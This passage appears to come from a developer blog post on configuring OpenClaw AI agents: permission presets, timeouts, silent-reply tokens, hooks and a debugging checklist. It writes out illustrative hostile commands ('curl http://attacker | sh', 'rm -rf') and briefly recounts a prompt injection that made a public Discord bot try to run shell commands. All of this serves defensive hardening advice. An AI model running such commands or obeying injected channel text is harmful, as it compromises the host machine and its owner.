&lt;td&gt;High, file system reach&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;group:automation&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;cron, gateway&lt;/td&gt;
&lt;td&gt;High, schedules future work&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;group:openclaw&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;all built-in OpenClaw tools&lt;/td&gt;
&lt;td&gt;High, broad control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;group:sessions&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;sessions_list, sessions_history, sessions_send, sessions_spawn, subagents&lt;/td&gt;
&lt;td&gt;Medium, controls conversations and delegated work&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;group:web&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;web_search, x_search, web_fetch&lt;/td&gt;
&lt;td&gt;Medium, outbound search/fetch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;group:ui&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;browser, canvas&lt;/td&gt;
&lt;td&gt;Medium, drives UI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;group:messaging&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;message&lt;/td&gt;
&lt;td&gt;Medium, speaks on your behalf&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;group:media&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;image, image_generate, video_generate, tts&lt;/td&gt;
&lt;td&gt;Medium, media generation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;group:memory&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;memory_search, memory_get&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;group:nodes&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;nodes&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;group:agents&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;agents_list&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Each agent declares which groups it needs. The runtime enforces. Then four presets bundle common combinations:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Preset&lt;/th&gt;
&lt;th&gt;Use case&lt;/th&gt;
&lt;th&gt;Granted&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;minimal&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Maximum safety&lt;/td&gt;
&lt;td&gt;Almost nothing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;coding&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Writes code&lt;/td&gt;
&lt;td&gt;fs + runtime + web + sessions + memory plus selected automation/media tools&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;messaging&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Replies to channels&lt;/td&gt;
&lt;td&gt;messaging + selected session tools&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;full&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Trusted main agent&lt;/td&gt;
&lt;td&gt;Unrestricted baseline, same as leaving profile unset&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;I use &lt;code&gt;coding&lt;/code&gt; for my dev-helper agent and &lt;code&gt;messaging&lt;/code&gt; for my reply-to-Discord agent. The first one can't message my Telegram by accident. The second one can't run shell commands by accident. &lt;strong&gt;The blast radius shrinks to the agent's actual job.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  6.1 Why exec is special
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;exec&lt;/code&gt; is the master key. Anything you can type in a terminal, the agent can run. Including &lt;code&gt;rm -rf&lt;/code&gt;. Including &lt;code&gt;curl http://attacker | sh&lt;/code&gt;. &lt;strong&gt;A prompt injection that lands on an &lt;code&gt;exec&lt;/code&gt;-enabled agent is a full machine compromise.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The mitigations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Run the agent under a sandboxed user with no sudo.&lt;/li&gt;
&lt;li&gt;  Whitelist specific commands in &lt;code&gt;TOOLS.md&lt;/code&gt; ("you may run &lt;code&gt;ps&lt;/code&gt;, &lt;code&gt;dmesg&lt;/code&gt;, &lt;code&gt;systemctl status&lt;/code&gt;; refuse anything else").&lt;/li&gt;
&lt;li&gt;  Audit logs on every &lt;code&gt;exec&lt;/code&gt; call so you can review yesterday's actions in the morning.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I caught one near-miss with the audit log: a Discord bot, exposed via a public channel, had an &lt;code&gt;exec&lt;/code&gt;-enabled config from testing I'd forgotten to lock down. A user asked it to "summarize my server logs," which it did. Five minutes later a different user asked it to "summarize attacker.com." It tried. The whitelist would have stopped both, and after that incident I added one. &lt;strong&gt;Treat permissions as a day-1 feature, not a "later."&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Timeouts: Not Forever
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Parameter&lt;/th&gt;
&lt;th&gt;Default&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;timeoutSeconds&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;600 (10 minutes)&lt;/td&gt;
&lt;td&gt;Maximum runtime for one agent turn&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;agent.wait&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;30s&lt;/td&gt;
&lt;td&gt;How long the gateway waits for a new message before yielding&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Why 600 seconds and not 60? Because real agent work, investigating a server outage, drafting a 3,000-word document, processing a batch, routinely takes 3-8 minutes when tool calls compound. A 60-second cap kills legitimate work; you'll spend the rest of the day raising the cap.&lt;/p&gt;

&lt;p&gt;A 600-second cap still protects you from runaways. The math: model calls run 2-5 seconds, tool calls 1-3 seconds, so even an aggressive 50-round loop is bounded by 4-5 minutes of real time. 600 seconds is "give legitimate work room to finish, but don't let bugs run all afternoon."&lt;/p&gt;

&lt;p&gt;I lower the cap to 180 seconds for chat-style agents (where 3 minutes is already long) and raise it to 1800 seconds for batch jobs that legitimately need to grind through a long list. The default is the right starting point, adjust per agent, not globally.&lt;/p&gt;

&lt;h2&gt;
  
  
  NO_REPLY and HEARTBEAT_OK: When the Agent Should Stay Silent
&lt;/h2&gt;

&lt;p&gt;OpenClaw has two related silent-response contracts:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;code&gt;NO_REPLY&lt;/code&gt; / &lt;code&gt;no_reply&lt;/code&gt; is the general silent token for housekeeping, group lurk-mode, and isolated cron results where nothing should be delivered.&lt;/li&gt;
&lt;li&gt;  &lt;code&gt;HEARTBEAT_OK&lt;/code&gt; is the current heartbeat acknowledgement. During heartbeat runs, OpenClaw strips it and drops the reply when nothing else needs user attention.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Four typical scenarios:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Scenario&lt;/th&gt;
&lt;th&gt;Why stay silent&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Scheduled health check, all green&lt;/td&gt;
&lt;td&gt;Nothing to report&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Background sync completed&lt;/td&gt;
&lt;td&gt;User doesn't need to know&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Heartbeat patrol, no anomaly&lt;/td&gt;
&lt;td&gt;Reply &lt;code&gt;HEARTBEAT_OK&lt;/code&gt;; routine, no anomaly = no message&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Auto memory consolidation&lt;/td&gt;
&lt;td&gt;Internal hygiene, not user-facing&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Without silent-response handling, a heartbeat agent would generate a pile of "everything's fine" messages every day. With &lt;code&gt;HEARTBEAT_OK&lt;/code&gt; for heartbeats and &lt;code&gt;NO_REPLY&lt;/code&gt; for other silent work, you get zero messages on quiet days and a real alert when something is wrong. The signal-to-noise ratio defines whether you'll keep the agent running long-term.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;NO_REPLY&lt;/code&gt; is one piece of a larger response-shaping layer:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Behavior&lt;/th&gt;
&lt;th&gt;What it does&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Dedupe&lt;/td&gt;
&lt;td&gt;If the agent both used &lt;code&gt;message&lt;/code&gt; tool and produced a reply with the same text, send only once&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Error fallback&lt;/td&gt;
&lt;td&gt;If there's no rendered content but a tool errored, surface the error&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NO_REPLY&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;If the entire output is the marker, send nothing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;HEARTBEAT_OK&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;During heartbeat runs, treat an OK-only reply as an acknowledgement and send nothing&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;I use silent replies heavily. They are the single setting that separates "the agent is annoying" from "the agent is invisible until I need it." When I started, I didn't use them; I had three agents pinging me every hour to say "all good." After two days I muted all three. Adding &lt;code&gt;HEARTBEAT_OK&lt;/code&gt; to heartbeat prompts and &lt;code&gt;NO_REPLY&lt;/code&gt; to non-heartbeat housekeeping brought them back into useful territory.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqvprnnbd723ejcuruipw.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqvprnnbd723ejcuruipw.webp" alt="Cartoon avatar card illustration of two silent reply markers that turn an over-chatty agent invisible until something is wrong." width="800" height="447"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Hooks: nudges at key moments
&lt;/h2&gt;

&lt;p&gt;A hook is a callback the runtime fires at a specific moment in the loop. OpenClaw exposes 8 of them across the lifecycle:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Hook&lt;/th&gt;
&lt;th&gt;Fires when&lt;/th&gt;
&lt;th&gt;Typical use&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;onMessage&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Inbound message arrives&lt;/td&gt;
&lt;td&gt;Pre-process, log&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;beforeContext&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Just before context assembly&lt;/td&gt;
&lt;td&gt;Inject extra files into context&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;afterContext&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Context assembled, before model call&lt;/td&gt;
&lt;td&gt;Audit the package size&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;beforeTool&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;About to run a tool&lt;/td&gt;
&lt;td&gt;Permission check, sanitize args&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;afterTool&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Tool returned&lt;/td&gt;
&lt;td&gt;Modify result, log&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;beforeReply&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Before sending response&lt;/td&gt;
&lt;td&gt;Filter, censor, format&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;afterReply&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;After response sent&lt;/td&gt;
&lt;td&gt;Log, trigger downstream&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;onError&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Any stage failed&lt;/td&gt;
&lt;td&gt;Alert, retry logic&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Hooks are the place to put cross-cutting concerns that don't belong in any single tool or skill. Audit logging, rate limiting, content filters, custom analytics. &lt;strong&gt;Hooks let you change behavior without changing the agent's brain.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I use &lt;code&gt;beforeTool&lt;/code&gt; to require explicit confirmation for any &lt;code&gt;exec&lt;/code&gt; call that contains &lt;code&gt;rm&lt;/code&gt;, &lt;code&gt;sudo&lt;/code&gt;, or &lt;code&gt;&amp;gt;&lt;/code&gt; (output redirect). The agent can still ask, but the hook turns "agent runs the command silently" into "agent waits for me to type 'yes.'" That's saved my home directory at least twice.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Embedded Architecture: Speed Has a Price
&lt;/h2&gt;

&lt;p&gt;OpenClaw runs all agents in a single process by default; they share memory, they share the gateway, they share the file system. The alternative would be one process per agent, isolated like microservices.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Independent processes&lt;/th&gt;
&lt;th&gt;Embedded (OpenClaw default)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Memory per agent&lt;/td&gt;
&lt;td&gt;~600MB&lt;/td&gt;
&lt;td&gt;~120MB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cold start&lt;/td&gt;
&lt;td&gt;3-5 seconds&lt;/td&gt;
&lt;td&gt;&amp;lt;100ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;One agent crashes&lt;/td&gt;
&lt;td&gt;Others keep running&lt;/td&gt;
&lt;td&gt;The whole runtime restarts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5 agents on a 16GB Mac Mini&lt;/td&gt;
&lt;td&gt;Tight&lt;/td&gt;
&lt;td&gt;Easy&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Embedded is faster and cheaper because there's no IPC overhead and no startup tax. The price: a bad plugin can take down the gateway. In three months I've had this happen once, an &lt;code&gt;afterTool&lt;/code&gt; hook that threw an unhandled exception. Restart took 8 seconds. I was back online before I'd finished my coffee. &lt;strong&gt;The crash isolation argument is real but rare; the speed and footprint advantages are constant.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The Lobster Engine: Smart but Not Too Smart
&lt;/h2&gt;

&lt;p&gt;OpenClaw's reasoning engine has a name: Lobster. The design constraint behind Lobster is unusual — &lt;strong&gt;don't be too smart&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The temptation when designing an agent loop is to add cleverness. Auto-summarization. Auto-context-pruning. Auto-tool-selection-with-ML-ranking. Each "auto" feels like it makes the agent better. In practice, each one makes the agent harder to debug because it adds hidden state.&lt;/p&gt;

&lt;p&gt;Lobster's design philosophy is the opposite. Keep the loop boring. Keep the rules legible. &lt;strong&gt;If the user can't read the rules, the user can't trust the agent.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This shows up concretely in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Pruning is rule-based&lt;/strong&gt;, not ML-based. After N rounds, summarize the oldest tool result into a one-liner. You can read the rule and predict the behavior.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Tool selection is description-driven&lt;/strong&gt;. The model picks tools based on text descriptions you wrote, not a learned ranking. You can change behavior by editing markdown.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Memory promotion is explicit&lt;/strong&gt;. The agent doesn't decide what to remember, you write a rule for it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each of these has worse "raw" performance than a learned alternative. Each of them produces an agent you can actually operate. &lt;strong&gt;In the trade between cleverness and legibility, Lobster picks legibility.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Five Mistakes I Made in My First Month
&lt;/h2&gt;

&lt;p&gt;If you're about to build on this, save yourself my mistakes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Mistake 1: I disabled pruning to "give the model more context"
&lt;/h3&gt;

&lt;p&gt;The agent got dumber, not smarter. By round 14, the context was 95% old tool output the model had already used. The actual question was buried. &lt;strong&gt;Pruning isn't lossy, it's clarity preservation.&lt;/strong&gt; Enable &lt;code&gt;agents.defaults.contextPruning.mode: "cache-ttl"&lt;/code&gt; where your provider/runtime benefits from it, and let the runtime trim old tool results from the prompt view.&lt;/p&gt;

&lt;h3&gt;
  
  
  Mistake 2: I used &lt;code&gt;full\&lt;/code&gt; permissions for "convenience"
&lt;/h3&gt;

&lt;p&gt;Every agent had &lt;code&gt;exec&lt;/code&gt;, every agent could read every file, every agent could message any channel. When my Discord agent got a prompt injection from a public channel, it tried to run shell commands. The blast radius could have been the whole machine. &lt;strong&gt;Permission presets exist for a reason. Default to &lt;code&gt;coding&lt;/code&gt; or &lt;code&gt;messaging&lt;/code&gt;. Add capabilities only when an agent demonstrably needs them.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Mistake 3: I set timeoutSeconds to 60
&lt;/h3&gt;

&lt;p&gt;Half my agent runs got killed mid-investigation. I'd send a real question and the agent would respond "task timed out" because the second tool call ran a 30-second command. &lt;strong&gt;600 seconds is the right default.&lt;/strong&gt; Lower it for chat-style agents to 180; raise it for batch jobs.&lt;/p&gt;

&lt;h3&gt;
  
  
  Mistake 4: I didn't use silent replies correctly
&lt;/h3&gt;

&lt;p&gt;Three heartbeat agents pinging me hourly with "all good." I muted them in 48 hours. Added &lt;code&gt;HEARTBEAT_OK&lt;/code&gt; to heartbeat behavior and &lt;code&gt;NO_REPLY&lt;/code&gt; to non-heartbeat housekeeping, restarted, never muted again. &lt;strong&gt;Silence is signal. The default for "everything is fine" should be "send nothing."&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Mistake 5: I treated hooks as optional
&lt;/h3&gt;

&lt;p&gt;I went six weeks without an audit hook on &lt;code&gt;exec&lt;/code&gt;. The first time something weird happened, I had to reconstruct what the agent had done by reading the trace, then guessing. With an audit hook in place, every &lt;code&gt;exec&lt;/code&gt; call writes one line to a log file, which I now grep when something is off. &lt;strong&gt;Hooks aren't polish, they're how you stay in control as the agent grows.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkt4zxx9qse55bi3yt6ig.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkt4zxx9qse55bi3yt6ig.webp" alt="Cartoon avatar card illustration of five common first-month mistakes when running an OpenClaw agent." width="800" height="447"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  A 30-Minute Path: Trace Your First Agent Loop
&lt;/h2&gt;

&lt;p&gt;Want to see this end-to-end on your own machine? Here's what I'd do tonight.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Turn on trace diagnostics&lt;/strong&gt; (3 min). Send &lt;code&gt;/trace on&lt;/code&gt; in an owner/admin session. Use &lt;code&gt;/status&lt;/code&gt; and the Gateway logs to inspect what happened.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Send a tool-triggering message&lt;/strong&gt; (1 min). DM the agent: "what files are in my home directory."&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Open the trace&lt;/strong&gt; (5 min). Find the 4 lines: model call → tool call (&lt;code&gt;exec ls ~&lt;/code&gt;) → tool result → model reply. That's a 1-round loop.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Send a multi-round message&lt;/strong&gt; (3 min). "Find the largest file in my home directory and tell me when it was modified." This should produce 2-3 rounds.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Force a degenerate mode&lt;/strong&gt; (5 min). Send "investigate this thoroughly", vague enough that the model might infinite-loop or one-round-stop. Watch which mode it falls into.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Add a hook&lt;/strong&gt; (5 min). Edit &lt;code&gt;&amp;lt;workspace&amp;gt;/hooks/before-tool.js&lt;/code&gt; (or .ts) to log every tool call to a file you can grep. Restart. Send another message. Confirm the hook fires.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Lock down permissions&lt;/strong&gt; (5 min). Edit &lt;code&gt;~/.openclaw/openclaw.json&lt;/code&gt; and change the agent's permission profile from &lt;code&gt;full&lt;/code&gt; to a narrower profile such as &lt;code&gt;coding&lt;/code&gt; or &lt;code&gt;messaging&lt;/code&gt;. Restart and try an out-of-scope action. Watch it refuse.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Set silent-output behavior&lt;/strong&gt; (3 min). For heartbeat checks, return &lt;code&gt;HEARTBEAT_OK&lt;/code&gt; when there is no finding. For non-heartbeat housekeeping, return &lt;code&gt;NO_REPLY&lt;/code&gt; only. Trigger it and confirm no chat message arrives but the trace records the run.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Half an hour of this and you'll never again be confused about what the agent is doing.&lt;/p&gt;

&lt;h2&gt;
  
  
  AI Agent Loop Checklist
&lt;/h2&gt;

&lt;p&gt;Designing or debugging an AI agent loop? Walk this list:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Stage&lt;/th&gt;
&lt;th&gt;Ask this&lt;/th&gt;
&lt;th&gt;Watch out for&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1. Receive&lt;/td&gt;
&lt;td&gt;Is the gateway up and the binding right?&lt;/td&gt;
&lt;td&gt;See &lt;a href="https://aiworkflowpro.com/openclaw-message-journey/" rel="noopener noreferrer"&gt;Part 2 § 3&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2. Context&lt;/td&gt;
&lt;td&gt;Is the package under 70% of the model window?&lt;/td&gt;
&lt;td&gt;Long history blows the window&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3. Reasoning&lt;/td&gt;
&lt;td&gt;Is the model emitting plain text or tool calls?&lt;/td&gt;
&lt;td&gt;Mostly text = zero-round mode&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4. Tool&lt;/td&gt;
&lt;td&gt;Is there a round cap and pruning?&lt;/td&gt;
&lt;td&gt;Loops + no pruning = blown context&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5. Streaming&lt;/td&gt;
&lt;td&gt;Block or draft mode? Platform supports?&lt;/td&gt;
&lt;td&gt;Draft = Telegram only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6. Persistence&lt;/td&gt;
&lt;td&gt;Are traces and memory writes happening?&lt;/td&gt;
&lt;td&gt;If not, debugging is divination&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Permissions&lt;/td&gt;
&lt;td&gt;Each agent has the minimum group it needs?&lt;/td&gt;
&lt;td&gt;Default &lt;code&gt;full&lt;/code&gt; is the usual mistake&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Timeout&lt;/td&gt;
&lt;td&gt;Cap matches the agent's job profile?&lt;/td&gt;
&lt;td&gt;60s is too low; 1800s is too high for chat&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Silent replies&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;HEARTBEAT_OK&lt;/code&gt; for heartbeat? &lt;code&gt;NO_REPLY&lt;/code&gt; only for non-heartbeat silent work?&lt;/td&gt;
&lt;td&gt;Wrong token = noisy or confusing agents&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hooks&lt;/td&gt;
&lt;td&gt;Audit on &lt;code&gt;exec&lt;/code&gt;?&lt;/td&gt;
&lt;td&gt;Day-1 feature, not later&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  How to Apply This in a Real Setup
&lt;/h2&gt;

&lt;p&gt;Don't try to internalize all 6 stages on day one. The order I'd recommend:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; Run one agent with &lt;code&gt;messaging&lt;/code&gt; permissions only. That's a safe sandbox.&lt;/li&gt;
&lt;li&gt; Read one full trace end-to-end. Find the round count.&lt;/li&gt;
&lt;li&gt; Add one tool. Watch the loop expand.&lt;/li&gt;
&lt;li&gt; Trigger a degenerate mode on purpose. Learn the symptom.&lt;/li&gt;
&lt;li&gt; Add the right silent token to one scheduled flow. Watch your notification volume drop.&lt;/li&gt;
&lt;li&gt; Add a &lt;code&gt;beforeTool&lt;/code&gt; hook on &lt;code&gt;exec&lt;/code&gt;. That's day-1 security.&lt;/li&gt;
&lt;li&gt; Tune the timeout to match the agent's actual job.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Each step is a small experiment, not a giant integration. The compound knowledge is what makes "the agent broke" become "round 14 hit the round cap because pruning was off." That precision is the whole point.&lt;/p&gt;

&lt;p&gt;Back when I ran agent-like workflows on n8n, every silent failure was a 30-minute debugging session because the workflow was opaque. The runtime model, six named stages, a structured trace per round, turn the same class of bug into a 5-minute look. &lt;strong&gt;The visibility is the feature.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Ready-to-Use Prompt: Design the 6-Stage ReAct Loop for Your Agent and Guard Its Failure Modes
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;What this does:&lt;/strong&gt; Maps the 6-stage ReAct loop (receive → context → reason → tool → stream → persist) for your task, sets its dials (tools, skills, permissions, timeouts, hooks, silent tokens), guards the three degenerate loop modes, and runs the five first-month-mistake check — so the agent investigates instead of single-shot answering.&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Based on:&lt;/strong&gt; OpenClaw AI Agent Loop: How Agents Think and Act — &lt;a href="https://aiworkflowpro.com/openclaw-agent-brain/" rel="noopener noreferrer"&gt;https://aiworkflowpro.com/openclaw-agent-brain/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Time to run:&lt;/strong&gt; ~5 minutes&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Copy this prompt into Claude Code, ChatGPT, or any AI assistant:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
